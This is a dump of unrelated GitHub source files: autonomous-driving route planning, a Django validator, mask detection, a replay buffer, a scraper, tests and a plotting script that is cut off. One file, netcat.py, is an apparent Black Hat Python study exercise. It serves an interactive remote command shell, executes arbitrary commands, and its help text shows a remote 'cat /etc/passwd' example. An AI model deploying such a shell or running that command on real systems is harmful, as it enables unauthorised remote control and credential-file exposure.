__init__(self):\n \"\"\"\n Constructor\n \"\"\"\n\n # Techs4AgeCar project\n\n self.map_name = rospy.get_param('t4ac/map_name')\n self.carla_map = None\n self.ego_vehicle_location = None\t\n self.ego_vehicle_waypoint = None\n\n # Waypoint publisher\n self.waypoint_publisher = rospy.Publisher(\n '/t4ac/planning/route', Path, queue_size=1, latch=True)\n\n # Set initial goal\n self.goal = None\n self.car_location = None\n self.current_route = None\n self.goal_subscriber = rospy.Subscriber(\n \"/t4ac/planning/goal\", PoseStamped, self.on_goal)\n\n # Set car position\n self.location_subscriber = rospy.Subscriber(\n \"/t4ac/localization/pose\", Odometry, self.car_start_point)\n\n # Set map \n self.xodr_path = \"/home/robesafe/t4ac_ws/src/t4ac_architecture/t4ac_mapping_layer/maps/xodr/\"+self.map_name+\".xodr\"\n with open(self.xodr_path) as od_file:\n od_file_data = od_file.read()\n\n self.carla_map = carla.Map(self.map_name, od_file_data)\n\n # Overtaking left order\n self.overtakingleft_subscriber = rospy.Subscriber(\n \"/t4ac/planning/overtaking_left_order\", Bool, self.overtaking_left)\n\n # Overtaking right order\n self.overtakingright_subscriber = rospy.Subscriber(\n \"/t4ac/planning/overtaking_right_order\", Bool, self.overtaking_right)\n\n\n # Techs4AgeCar project\n\n def destroy(self):\n \n # Destructor\n \n self.ego_vehicle_location = None\n\n def car_start_point(self, car_odometry):\n \"\"\"\n Callback for /carla/t4ac/location\n \"\"\"\n carla_location = carla.Location()\n carla_location.x = car_odometry.pose.pose.position.x\n carla_location.y = -car_odometry.pose.pose.position.y\n carla_location.z = car_odometry.pose.pose.position.z\n self.ego_vehicle_location = carla_location\n self.ego_vehicle_waypoint = self.carla_map.get_waypoint(carla_location, project_to_road=True, lane_type=carla.LaneType.Driving)\n\n\n def on_goal(self, goal):\n \"\"\"\n Callback for /mapping_planning/goal\n\n Receiving a goal (e.g. from RVIZ '2D Nav Goal') triggers a new route calculation.\n\n :return:\n \"\"\"\n rospy.loginfo(\"Received goal, trigger rerouting...\")\n carla_goal = carla.Transform()\n carla_goal.location.x = goal.pose.position.x\n carla_goal.location.y = -goal.pose.position.y\n carla_goal.location.z = goal.pose.position.z + 1 # 1m above ground\n quaternion = (\n goal.pose.orientation.x,\n goal.pose.orientation.y,\n goal.pose.orientation.z,\n goal.pose.orientation.w\n )\n _, _, yaw = euler_from_quaternion(quaternion)\n carla_goal.rotation.yaw = -math.degrees(yaw)\n\n self.goal = carla_goal\n self.reroute(self.ego_vehicle_location)\n\n def overtaking_left(self, order):\n \"\"\"\n Callback for /mapping_planning/overtaking_left_order\n New route is calculated considering overtaking \n \"\"\"\n print(\"Overtaking left...\")\n left_wpt = self.ego_vehicle_waypoint.get_left_lane()\n left_turn = self.ego_vehicle_waypoint.left_lane_marking.lane_change\n print(self.ego_vehicle_waypoint)\n print(left_wpt.transform.location)\n\n if (order.data == True and (left_turn == carla.LaneChange.Left or left_turn == carla.LaneChange.Both)):\n print(\"Warning Overtaking!\")\n self.reroute(left_wpt.transform.location)\n else:\n print(\"Overtaking left is not possible\")\n\n def overtaking_right(self, order):\n \"\"\"\n Callback for /mapping_planning/overtaking_right_order\n \"\"\"\n right_wpt = self.ego_vehicle_waypoint.get_right_lane()\n right_turn = self.ego_vehicle_waypoint.right_lane_marking.lane_change\n\n if (order.data == True and (right_turn == carla.LaneChange.Right or right_turn == carla.LaneChange.Both)):\n self.reroute(right_wpt.transform.location) \n else:\n print(\"Overtaking right is not possible\") \n \n\n\n def reroute(self, start):\n \"\"\"\n Triggers a rerouting\n \"\"\"\n if self.ego_vehicle_location is None or self.goal is None:\n # print(\"in if\")\n # no ego vehicle location, remove route if published\n self.current_route = None\n self.publish_waypoints()\n else:\n # print(\"in else\")\n self.current_route = self.calculate_route(start, self.goal)\n self.publish_waypoints()\n\n # Techs4AgeCar project\n def _filter_closer_waypoints(self, route, threshold):\n route_filtered = []\n\n for i in range(1, len(route)):\n distance = route[i][0].transform.location.distance(route[i-1][0].transform.location)\n if distance > threshold:\n route_filtered.append(route[i])\n print(route[i])\n return route_filtered\n # Techs4AgeCar project\n\n def calculate_route(self, start, goal):\n \"\"\"\n Calculate a route from the current location to 'goal'\n \"\"\"\n rospy.loginfo(\"Calculating route to x={}, y={}, z={}\".format(\n goal.location.x,\n goal.location.y,\n goal.location.z))\n\n # Techs4AgeCar project\n\n rospy.loginfo(\"Generando e imprimiendo ruta...\")\n planner = Path_Planner(self.carla_map)\n print(start)\n print(self.goal.location)\n route = planner.set_destination(start, self.goal.location)\n\n # Filter route (route is a list of (carla.Waypoint, RoadOption))\n route_filtered = self._filter_closer_waypoints(route, 2)\n\n return route_filtered\n\n # Techs4AgeCar project\n\n def publish_waypoints(self):\n \"\"\"\n Publish the ROS message containing the waypoints\n \"\"\"\n msg = Path()\n msg.header.frame_id = \"map\"\n msg.header.stamp = rospy.Time.now()\n pose_i = None\n poses_list = []\n poses_data = []\n nwp = 1\n if self.current_route is not None:\n for wp in self.current_route:\n pose = PoseStamped()\n pose.pose.position.x = wp[0].transform.location.x\n pose.pose.position.y = -wp[0].transform.location.y\n pose.pose.position.z = wp[0].transform.location.z\n\n quaternion = tf.transformations.quaternion_from_euler(\n 0, 0, -math.radians(wp[0].transform.rotation.yaw))\n pose.pose.orientation.x = quaternion[0]\n pose.pose.orientation.y = quaternion[1]\n pose.pose.orientation.z = quaternion[2]\n pose.pose.orientation.w = quaternion[3]\n\n # Filter for repeated waypoints\n if(pose == pose_i):\n pass\n else:\n msg.poses.append(pose)\n pose_i = pose\n\n # Organize info to be printed cleaner\n for poses in msg.poses:\n poses_list = [nwp, poses.pose.position.x, -poses.pose.position.y, poses.pose.position.z]\n poses_data.append(poses_list)\n nwp += 1\n\n # Print and publish waypoint route\n print(\"\\n\" + tabulate(poses_data, headers=[\"waypoint\", \"x\", \"y\", \"z\"]) + \"\\n\")\t\n self.waypoint_publisher.publish(msg)\n rospy.loginfo(\"Published {} waypoints.\".format(len(msg.poses)))\n\n\n \n \n\n\ndef main():\n \"\"\"\n main function\n \"\"\"\n\n try:\n rospy.init_node(\"waypoint_publisher\", anonymous=True)\n\n except rospy.ROSException:\n rospy.logerr(\"Error while waiting for info!\")\n sys.exit(1)\n\n try:\n\n # Techs4AgeCar project\n\n rospy.loginfo(\"Route planner initialized..\")\n waypointConverter = CarlaToRosWaypointConverter()\n rospy.spin()\n #waypointConverter.destroy()\n del waypointConverter\n\n # Techs4AgeCar project\n\n finally:\n rospy.loginfo(\"Done\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"RobeSafe-UAH/rl-intersections","sub_path":"src/catkin_ws/src/t4ac_planning/dummy_planner_ros/src/waypoint_publisher.py","file_name":"waypoint_publisher.py","file_ext":"py","file_size_in_byte":9265,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"38"} +{"seq_id":"36270895652","text":"import re\nfrom ..basicRule import BasicRule\n\n\nclass ArticleIfRusGetFromAnotherColumnRule(BasicRule):\n \"\"\"if_rus_pattent_in_article_set_article_from_another_column\"\"\"\n\n rus_pattern = r'^.*[а-яА-Я]+'\n\n def __init__(self, brand, param, columns):\n self.brand = brand.lower()\n self.param = int(param)\n self.articleCol = columns.articleCol\n self.brandCol = columns.brandCol\n \n\n def execute(self, row):\n if str(row[self.brandCol]).lower() != self.brand and self.brand != 'все бренды': return row\n if re.match(self.rus_pattern, str(row[self.articleCol])):\n row[self.articleCol] = str(row[self.param])\n return row","repo_name":"xamonever/prices","sub_path":"Prices/moduls/components/brand_rules/rules/ArticleIfRusGetFromAnotherColumn.py","file_name":"ArticleIfRusGetFromAnotherColumn.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"26119954625","text":"from common.base.BaseService import BaseService\nfrom api.exception.plan.PlanServiceException import LackMustRequestParam\n\n\nclass SavePlanService(BaseService):\n def checkSaveRequestParam(self, requestData):\n \"\"\"\n 确认请求参数是否正确\n :param requestData:\n :return:\n \"\"\"\n planForm = requestData.get('planForm')\n if 'plan_name' not in planForm.keys() or planForm.get('plan_name') == '':\n msg = '请将计划名称填写完整'\n raise LackMustRequestParam(msg)\n if 'cron' not in planForm.keys() or planForm.get('cron') == '':\n msg = '请将执行时间填写完整'\n raise LackMustRequestParam(msg)\n if 'online_type' not in planForm.keys() or planForm.get('online_type') == '':\n msg = '请将执行环境填写完整'\n raise LackMustRequestParam(msg)\n if not requestData.get('projectList') and not requestData.get('caseList') and not requestData.get('bigDataList'):\n msg = '请选择用例'\n raise LackMustRequestParam(msg)\n","repo_name":"lzj1993128/AutomationPlatform","sub_path":"AutomationPlatformDjango/api/service/plan/SavePlanService.py","file_name":"SavePlanService.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"25341382548","text":"import cv2\nimport os\nimport numpy as np\nfrom PIL import Image\nimport torch\nfrom utils import DNN, get_test_loader\n\n\nproto_path = \"models/deploy.prototxt.txt\"\nmodel_path = \"models/res10_300x300_ssd_iter_140000.caffemodel\"\n\n# Face detection opencv pretrained model to detect faces in images\nfd_net = cv2.dnn.readNetFromCaffe(proto_path, model_path)\n\n# Transform to apply on test images\ntest_transform = get_test_loader()\n\n# Initializing mask detection model\nmask_detector = DNN()\n\n# Loading it's weights from file\nmask_detector.load_state_dict(torch.load('models/Mobilenet_v2_Mask_Detection.pt', map_location = torch.device('cpu')))\n\n# Switch model to inference mode\nmask_detector.eval()\n\n# img_path = input('Enter image path: ')\nimg_path = 'images/sample3.jpg'\n\n# Read input image\nimage = cv2.imread(img_path)\n\nimage_copy = image.copy()\n(h, w) = image.shape[:2]\n\n# Get detected faces\nblob = cv2.dnn.blobFromImage(cv2.resize(image_copy, (300, 300)), 1.0, (300, 300), (104.0, 177.0, 123.0))\nfd_net.setInput(blob)\ndetections = fd_net.forward()\n\n# Iterate through detected faces and run mask detection model\nfor i in range(detections.shape[2]):\n confidence = detections[0, 0, i, 2]\n if confidence > 0.8:\n box = detections[0, 0, i, 3:7] * np.array([w, h, w, h])\n (x1, y1, x2, y2) = box.astype(\"int\")\n\n # Extract rectangle (containing face) from input image and convert it to PIL image\n face = cv2.cvtColor(image_copy[y1:y2, x1:x2], cv2.COLOR_BGR2RGB)\n face = Image.fromarray(face)\n # Apply test transform to feed it to the model\n face_tensor = test_transform(face).unsqueeze(0)\n\n # Run forward pass\n out = mask_detector(face_tensor).item()\n\n # Apply sigmoid to get probability\n prob = 1/(1 + np.exp(-out))\n\n # Draw rectangle around face in the image\n cv2.rectangle(image, (x1, y1), (x2, y2), (255, 0, 0), 2)\n\n # If prob is > .5 predict person's wearing mask else not\n if prob > 0.5:\n cv2.putText(image, \"Mask off: {:.2f}\".format(1-prob), (x1, y1), cv2.FONT_HERSHEY_DUPLEX, 0.5, (0, 0, 255))\n else:\n cv2.putText(image, \"Mask on: {:.2f}\".format(1-prob), (x1, y1), cv2.FONT_HERSHEY_DUPLEX, 0.5, (0, 255, 0))\n\n cv2.imwrite(img_path.split('.')[0] + '_out.jpg', image)\n print('Output image saved')\n","repo_name":"hp2304/Projects","sub_path":"Mask Detection/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"38335726141","text":"import argparse\nimport socket\nimport shlex\nimport subprocess\nimport sys\nimport textwrap\nimport threading\n\n\ndef execute(cmd: str) -> str:\n \"\"\"\n The function executes a command and returns an output\n :param cmd: string with a CLI command\n :return: string with an output of the command\n \"\"\"\n cmd = cmd.strip()\n if not cmd:\n return\n # run command with args and return an output\n output = subprocess.check_output(shlex.split(cmd),\n stderr=subprocess.STDOUT, shell=True)\n return output.decode() # output as a string, not bytes\n\n\nclass NetCat:\n def __init__(self, args, buffer=None):\n self.args = args\n self.buffer = buffer\n self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\n def send(self):\n self.socket.connect((self.args.target, self.args.port)) # connect\n if self.buffer: # if there is a buffer send it\n self.socket.send(self.buffer)\n try:\n while True: # continue before Ctrl+C\n recv_len = 1\n response = ''\n while recv_len: # get data from target server\n data = self.socket.recv(4096)\n recv_len = len(data)\n response += data.decode()\n if recv_len < 4096: # if data is out of stock - stop\n break\n if response:\n print(response) # print received result\n buffer = input('> ')\n buffer += '\\n' # add 'push enter'\n self.socket.send(buffer.encode()) # send the result\n except KeyboardInterrupt:\n print('User terminated') # kill the connection with CTRL+C\n self.socket.close()\n sys.exit()\n\n def listen(self):\n self.socket.bind((self.args.target, self.args.port))\n self.socket.listen(5)\n while True:\n client_socket, addr = self.socket.accept()\n print(f\"[*] Accepted connection from {addr[0]}:{addr[1]}\")\n client_thread = threading.Thread(\n target=self.handle, args=(client_socket,)\n )\n client_thread.start()\n\n def run(self):\n if self.args.listen:\n self.listen()\n else:\n self.send()\n\n def handle(self, client_socket):\n \"\"\"\n The method executes a command, downloads a file or launches CLI\n :param client_socket:\n :return:\n \"\"\"\n if self.args.execute: # if need to execute a command\n output = execute(self.args.execute)\n client_socket.send(output.encode())\n elif self.args.upload: # if need to download a file\n file_buffer = b''\n while True: # collect data\n data = client_socket.recv(4096)\n if data:\n file_buffer += data\n else:\n break\n with open(self.args.upload, 'wb') as f: # write a file\n f.write(file_buffer)\n message = f'Saved file {self.args.upload}'\n client_socket.send(message.encode())\n elif self.args.command: # if need to execute a command\n cmd_buffer = b''\n while True:\n try:\n client_socket.send(b'PBH: #> ')\n while '\\n' not in cmd_buffer.decode():\n cmd_buffer += client_socket.recv(32)\n response = execute(cmd_buffer.decode())\n if response:\n client_socket.send(response.encode())\n cmd_buffer = b''\n except Exception as e:\n print(f'server killed {e}')\n self.socket.close()\n sys.exit()\n\nif __name__ == '__main__':\n # argparse is a package for creation of CLI\n parser = argparse.ArgumentParser(\n description='BHP Net Tool',\n formatter_class=argparse.RawDescriptionHelpFormatter,\n # description of --help\n epilog=textwrap.dedent(\"\"\"Example:\n netcat.py -t 192.168.1.108 -p 5555 -l -c # command line\n netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.txt\n #load in file\n netcat.py -t 192.168.1.108 -p 5555 -l -e=\\\"cat /etc/passwd\\\"\n # execute the command\n echo 'ABC' | ./netcat.py -t 192.168.1.108 -p 135\n #send the text to the port of server 135\n netcat.py -t 192.168.1.108 -p 5555 # connect with the server\n ***\n To know IP addr on Linux: ifconfig | grep \"inet\" ; nslookup localhost \n To know IP addr on Windows: ipconfig (see IPv4)\n \"\"\")\n )\n # -c prepares the CLI (needs 'l' regime)\n parser.add_argument('-c', '--command', action='store_true',\n help='command shell')\n # -e execute a command (needs 'l' regime)\n parser.add_argument('-e', '--execute', help='execute specified command')\n # -l prepares listening\n parser.add_argument('-l', '--listen', action='store_true', help='listen')\n # -p - port\n parser.add_argument('-p', '--port', type=int, default=5555,\n help='specified port')\n # -t is target (IP)\n parser.add_argument('-t', '--target', default='192.168.1.203',\n help='specified IP')\n # -u filename to download (needs 'l' regime)\n parser.add_argument('-u', '--upload', help='upload file')\n args = parser.parse_args()\n if args.listen: # if listening regime\n buffer = ''\n else:\n buffer = sys.stdin.read() # it saves an output in string\n\n nc = NetCat(args, buffer.encode())\n nc.run()\n\n\n\n\n\n","repo_name":"pikulevlv/PBH","sub_path":"part_2/netcat.py","file_name":"netcat.py","file_ext":"py","file_size_in_byte":5777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"22299764576","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('dashboard', views.adminDashboard, name='dashboard'),\n\n\n path('department/', views.allDepartment, name='department'),\n path('department_form', views.departmentForm, name='department_form'),\n path('delete_department/',\n views.deleteDepartment, name='delete_department'),\n path('update_department/',\n views.departmentUpdateForm, name='update_department'),\n\n path('employee/', views.employee, name='employee'),\n path('add_employee', views.addEmployee, name='add_employee'),\n path('delete_employee/',\n views.deleteEmployee, name='delete_employee'),\n\n path('alladmins/', views.allAdmins, name='alladmins'),\n\n\n path('leave_management/', views.leaveManagement, name='leave_management'),\n path('approve_leave/',\n views.approveLeave, name='approve_leave'),\n path('decline_leave/',\n views.declineLeave, name='decline_leave'),\n\n\n path('attendance', views.attendance, name='attendance'),\n\n path('delete_attendance/',\n views.deleteAttendance, name='delete_attendance'),\n \n \n path('all-messages', views.allContact, name='all-messages'),\n\n\n\n\n]\n","repo_name":"SamyakManandhar1/FYP","sub_path":"FYP/admins/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1302,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"17077665043","text":"\n\nimport torch\nimport numpy as np\nfrom typing import Tuple\nfrom torch.functional import Tensor\nfrom torchvision import transforms\n\nfrom utils.no_bn import bn_track_stats\n\n\ndef reservoir(num_seen_examples: int, buffer_size: int) -> int:\n \"\"\"\n Reservoir sampling algorithm.\n :param num_seen_examples: the number of seen examples\n :param buffer_size: the maximum buffer size\n :return: the target index if the current image is sampled, else -1\n \"\"\"\n if num_seen_examples < buffer_size:\n return num_seen_examples\n\n rand = np.random.randint(0, num_seen_examples + 1)\n if rand < buffer_size:\n return rand\n else:\n return -1\n\n\ndef ring(num_seen_examples: int, buffer_portion_size: int, task: int) -> int:\n return num_seen_examples % buffer_portion_size + task * buffer_portion_size\n\n\nclass Buffer:\n \"\"\"\n The memory buffer of rehearsal method.\n \"\"\"\n def __init__(self, buffer_size, device, n_tasks=None, mode='reservoir'):\n assert mode in ['ring', 'reservoir']\n self.buffer_size = buffer_size\n self.device = device\n self.num_seen_examples = 0\n self.functional_index = eval(mode)\n if mode == 'ring':\n assert n_tasks is not None\n self.task_number = n_tasks\n self.buffer_portion_size = buffer_size // n_tasks\n self.attributes = ['examples', 'labels', 'logits', 'task_labels']\n self.attention_maps = [None] * buffer_size\n\n self.balanced_class_perm = None\n \n\n def class_stratified_add_data(self, dataset, cpt, model=None, desired_attrs=None):\n if not hasattr(self, 'task'):\n self.task = 0\n # Reduce Memory Buffer\n if self.task:\n examples_per_class = self.buffer_size // ((self.task + 1) * cpt)\n assert set(desired_attrs) == {x for x in self.attributes if hasattr(self, x)}\n ret_tuples = self.get_all_data()\n self.empty()\n for tl in ret_tuples[1].unique():\n idx = tl == ret_tuples[1]\n ret_tuple = [a[idx] for a in ret_tuples]\n first = min(ret_tuple[0].shape[0], examples_per_class)\n self.add_data(**{a: ret_tuple[i][:first] for i, a in enumerate(\n [x for x in self.attributes if x in desired_attrs])})\n \n # Add new task data\n examples_last_task = self.buffer_size - self.num_seen_examples\n examples_per_class = examples_last_task // cpt\n ce = torch.tensor([examples_per_class] * cpt).int()\n ce[torch.randperm(cpt)[:examples_last_task - (examples_per_class * cpt)]] += 1\n\n with torch.no_grad():\n with bn_track_stats(model, False):\n for data in dataset.train_loader:\n inputs, labels, not_aug_inputs = data\n inputs = inputs.to(self.device)\n not_aug_inputs = not_aug_inputs.to(self.device)\n if all(ce == 0):\n break\n\n flags = torch.zeros(len(inputs)).bool()\n for j in range(len(flags)):\n if ce[labels[j] % cpt] > 0:\n flags[j] = True\n ce[labels[j] % cpt] -= 1\n\n add_dict = {\n 'examples': not_aug_inputs[flags]\n }\n if hasattr(self, 'labels') or desired_attrs is not None and 'labels' in desired_attrs:\n add_dict['labels'] = labels[flags]\n if hasattr(self, 'logits') or desired_attrs is not None and 'logits' in desired_attrs:\n outputs = model(inputs)\n add_dict['logits'] = outputs.data[flags]\n if hasattr(self, 'task_labels') or desired_attrs is not None and 'task_labels' in desired_attrs:\n add_dict['task_labels'] = (torch.ones(len(not_aug_inputs)) *\n (self.task))[flags]\n self.add_data(**add_dict)\n self.task += 1\n\n def generate_class_perm(self):\n self.balanced_class_perm = (self.labels.unique()[torch.randperm(len(self.labels.unique()))]).cpu()\n self.balanced_class_index = 0\n\n def to(self, device):\n self.device = device\n for attr_str in self.attributes:\n if hasattr(self, attr_str):\n setattr(self, attr_str, getattr(self, attr_str).to(device))\n\n return self\n\n def __len__(self):\n return min(self.num_seen_examples, self.buffer_size)\n\n\n def init_tensors(self, examples: torch.Tensor, labels: torch.Tensor,\n logits: torch.Tensor, task_labels: torch.Tensor) -> None:\n \"\"\"\n Initializes just the required tensors.\n :param examples: tensor containing the images\n :param labels: tensor containing the labels\n :param logits: tensor containing the outputs of the network\n :param task_labels: tensor containing the task labels\n \"\"\"\n for attr_str in self.attributes:\n attr = eval(attr_str)\n if attr is not None and not hasattr(self, attr_str):\n typ = torch.int64 if attr_str.endswith('els') else torch.float32\n setattr(self, attr_str, torch.zeros((self.buffer_size,\n *attr.shape[1:]), dtype=typ, device=self.device))\n\n def add_data(self, examples, labels=None, logits=None, task_labels=None, attention_maps=None):\n \"\"\"\n Adds the data to the memory buffer according to the reservoir strategy.\n :param examples: tensor containing the images\n :param labels: tensor containing the labels\n :param logits: tensor containing the outputs of the network\n :param task_labels: tensor containing the task labels\n :return:\n \"\"\"\n if not hasattr(self, 'examples'):\n self.init_tensors(examples, labels, logits, task_labels)\n\n rix = []\n for i in range(examples.shape[0]):\n index = reservoir(self.num_seen_examples, self.buffer_size)\n self.num_seen_examples += 1\n if index >= 0:\n if self.examples.device != self.device:\n self.examples.to(self.device)\n self.examples[index] = examples[i].to(self.device)\n if labels is not None:\n if self.labels.device != self.device:\n self.labels.to(self.device)\n self.labels[index] = labels[i].to(self.device)\n if logits is not None:\n if self.logits.device != self.device:\n self.logits.to(self.device)\n self.logits[index] = logits[i].to(self.device)\n if task_labels is not None:\n if self.task_labels.device != self.device:\n self.task_labels.to(self.device)\n self.task_labels[index] = task_labels[i].to(self.device)\n if attention_maps is not None:\n self.attention_maps[index] = [at[i].byte() for at in attention_maps]\n rix.append(index)\n return torch.tensor(rix).to(self.device)\n\n def get_data(self, size: int, transform: transforms=None, return_index=False, to_device=None) -> Tuple:\n \"\"\"\n Random samples a batch of size items.\n :param size: the number of requested items\n :param transform: the transformation to be applied (data augmentation)\n :return:\n \"\"\"\n if size > min(self.num_seen_examples, self.examples.shape[0]):\n size = min(self.num_seen_examples, self.examples.shape[0])\n\n target_device = self.device if to_device is None else to_device\n\n choice = np.random.choice(min(self.num_seen_examples, self.examples.shape[0]),\n size=size, replace=False)\n if transform is None: transform = lambda x: x\n ret_tuple = (torch.stack([transform(ee.cpu())\n for ee in self.examples[choice]]).to(target_device),)\n for attr_str in self.attributes[1:]:\n if hasattr(self, attr_str):\n attr = getattr(self, attr_str).to(target_device)\n ret_tuple += (attr[choice],)\n\n if not return_index:\n return ret_tuple\n else:\n return (torch.tensor(choice).to(target_device), ) + ret_tuple\n\n def get_data_by_index(self, indexes: Tensor, transform: transforms=None, to_device=None) -> Tuple:\n \"\"\"\n Returns the data by the given index.\n :param index: the index of the item\n :param transform: the transformation to be applied (data augmentation)\n :return:\n \"\"\"\n target_device = self.device if to_device is None else to_device\n if transform is None: transform = lambda x: x\n ret_tuple = (torch.stack([transform(ee.cpu())\n for ee in self.examples[indexes]]).to(target_device),)\n for attr_str in self.attributes[1:]:\n if hasattr(self, attr_str):\n attr = getattr(self, attr_str).to(target_device)\n ret_tuple += (attr[indexes],)\n return ret_tuple\n\n\n def get_data_balanced(self, n_classes: int, n_instances: int, transform: transforms=None, return_index=False) -> Tuple:\n \"\"\"\n Random samples a batch of size items.\n :param n_classes: the number of classes to sample\n :param n_instances: the number of instances to be sampled per class\n :param transform: the transformation to be applied (data augmentation)\n :return:\n \"\"\"\n classes_to_sample = torch.tensor([])\n choice = torch.tensor([]).long()\n\n while len(classes_to_sample) < n_classes:\n if self.balanced_class_perm is None or \\\n self.balanced_class_index >= len(self.balanced_class_perm) or \\\n len(self.balanced_class_perm.unique()) != len(self.labels.unique()):\n self.generate_class_perm()\n \n classes_to_sample = torch.cat([\n classes_to_sample,\n self.balanced_class_perm[self.balanced_class_index:self.balanced_class_index+n_classes]\n ])\n self.balanced_class_index += n_classes\n\n for a_class in classes_to_sample:\n candidates = np.arange(len(self.labels))[self.labels.cpu() == a_class]\n candidates = candidates[candidates < self.num_seen_examples]\n choice = torch.cat([\n choice, \n torch.tensor(\n np.random.choice(candidates,\n size=n_instances,\n replace=len(candidates) < n_instances\n )\n )\n ])\n \n if transform is None: transform = lambda x: x\n ret_tuple = (torch.stack([transform(ee.cpu())\n for ee in self.examples[choice]]).to(self.device),)\n for attr_str in self.attributes[1:]:\n if hasattr(self, attr_str):\n attr = getattr(self, attr_str)\n ret_tuple += (attr[choice],)\n\n if not return_index:\n return ret_tuple\n else:\n return (choice.to(self.device), ) + ret_tuple\n\n def is_empty(self) -> bool:\n \"\"\"\n Returns true if the buffer is empty, false otherwise.\n \"\"\"\n if self.num_seen_examples == 0:\n return True\n else:\n return False\n\n def get_all_data(self, transform: transforms=None) -> Tuple:\n \"\"\"\n Return all the items in the memory buffer.\n :param transform: the transformation to be applied (data augmentation)\n :return: a tuple with all the items in the memory buffer\n \"\"\"\n if transform is None: transform = lambda x: x\n ret_tuple = (torch.stack([transform(ee.cpu())\n for ee in self.examples]).to(self.device),)\n for attr_str in self.attributes[1:]:\n if hasattr(self, attr_str):\n attr = getattr(self, attr_str)\n ret_tuple += (attr,)\n return ret_tuple\n\n def empty(self) -> None:\n \"\"\"\n Set all the tensors to None.\n \"\"\"\n for attr_str in self.attributes:\n if hasattr(self, attr_str):\n delattr(self, attr_str)\n self.num_seen_examples = 0\n","repo_name":"mbosc/twf","sub_path":"utils/buffer.py","file_name":"buffer.py","file_ext":"py","file_size_in_byte":12483,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"38"} +{"seq_id":"17545149232","text":"from . import communicator\nimport time\nimport random\n\nasync def _prime_media_list(content_type,start):\n media_list = list()\n media_mixed = communicator.get_five_pages(content_type , start)\n\n for med in media_mixed:\n imdb_id = med['imdb_id']\n media_list.append(imdb_id)\n \n media_list = await communicator.remove_existing_media(content_type , media_list)\n media = list()\n if media_list:\n for med in media_mixed:\n if med['imdb_id'] in media_list:\n media.append(med)\n return media , media_list\nasync def _latter_media_list(media_list , tv = False):\n media_imdb = communicator.get_five_pages_imdb_info(media_list , tv=tv)\n return media_imdb\ndef _get_subtitles(media_imdb):\n sub_inputs = [{'name':movie['name'] , 'year': int(movie['year'])} for movie in media_imdb if movie['name'] and movie['year']]\n subtitles = communicator.get_five_pages_subtitles(sub_inputs)\n return subtitles\n \ndef _get_all_media(media , media_imdb , subtitles = None):\n all_media = []\n\n for med in media:\n for med_imdb in media_imdb:\n if med['imdb_id'] == med_imdb['imdb_id']:\n combinded_movie = {**med , **med_imdb}\n\n try:\n for subtitle in subtitles:\n try:\n if subtitle['imdb_id'] == combinded_movie['imdb_id']:\n combinded_movie = {**combinded_movie , **subtitle}\n except:\n pass\n except:\n pass\n\n all_media.append(combinded_movie)\n return all_media\n\nasync def get5_movies(start):\n content_type = 'movies'\n movies , movies_list = await _prime_media_list(content_type , start)\n movies_imdb = await _latter_media_list(movies_list)\n if movies:\n subtitles = _get_subtitles(movies_imdb)\n all_movies = _get_all_media(movies , movies_imdb)\n return await communicator.add_five_pages_movie(content_type , all_movies)\n\nasync def get5_series(start):\n content_type = 'series'\n series , series_list = await _prime_media_list(content_type , start)\n series_imdb = await _latter_media_list(series_list , tv = True)\n # if series:\n # subtitles = _get_subtitles(series_imdb)\n all_series = _get_all_media(series , series_imdb)\n return await communicator.add_five_pages_movie(content_type , all_series)\n\nasync def get5_animations(start):\n content_type = 'animations'\n animations , animations_list = await _prime_media_list(content_type , start)\n animations_imdb = await _latter_media_list(animations_list)\n if animations:\n subtitles = _get_subtitles(animations_imdb)\n all_animations = _get_all_media(animations , animations_imdb)\n return await communicator.add_five_pages_movie(content_type , all_animations)\n","repo_name":"soraygoularssm/Filmeex-microservices","sub_path":"backend/scraping/manager/src/api/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":2875,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"35389600541","text":"import logging\nimport pytest\nfrom unittest import mock\nfrom frobnicator import frobnicate\n\n\n@pytest.fixture(autouse=True)\ndef disable_requests(monkeypatch):\n monkeypatch.setattr(\n \"requests.api.request\",\n mock.MagicMock(\n side_effect=NotImplementedError(\"Requests are disabled during the test run\")\n ),\n )\n\n\n@pytest.fixture(autouse=True)\ndef mock_requests(monkeypatch):\n partner = dict(partnerId=\"silvair\")\n monkeypatch.setattr(\n \"frobnicator.requests.get\",\n mock.MagicMock(return_value=mock.MagicMock(json=lambda: partner)),\n )\n\n\n@pytest.fixture\ndef partner_name():\n return \"silvair\"\n\n\ndef test_frobnicate(partner_name):\n partner, documents = frobnicate(partner_name)\n\n assert partner[\"partnerId\"] == partner_name\n","repo_name":"michallowasrzechonek-silvair/frobnicator","sub_path":"tests/test_frob3.py","file_name":"test_frob3.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"20399871447","text":"from time import perf_counter\nimport numpy as np\nfrom models import *\nfrom calculations import *\nfrom scipy.interpolate import griddata\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\n\nplt.style.use('plots/test_style.mplstyle')\nsamples = 1000\nt_fin = 18\n\ntraj_type = 'var_spiral'\n\nfile_label = f'{traj_type}_motion_slow_motors_5kg'\n# file_label = 'var_spiral_motion_slow_motors_5kg'\n\n\ndata_array = 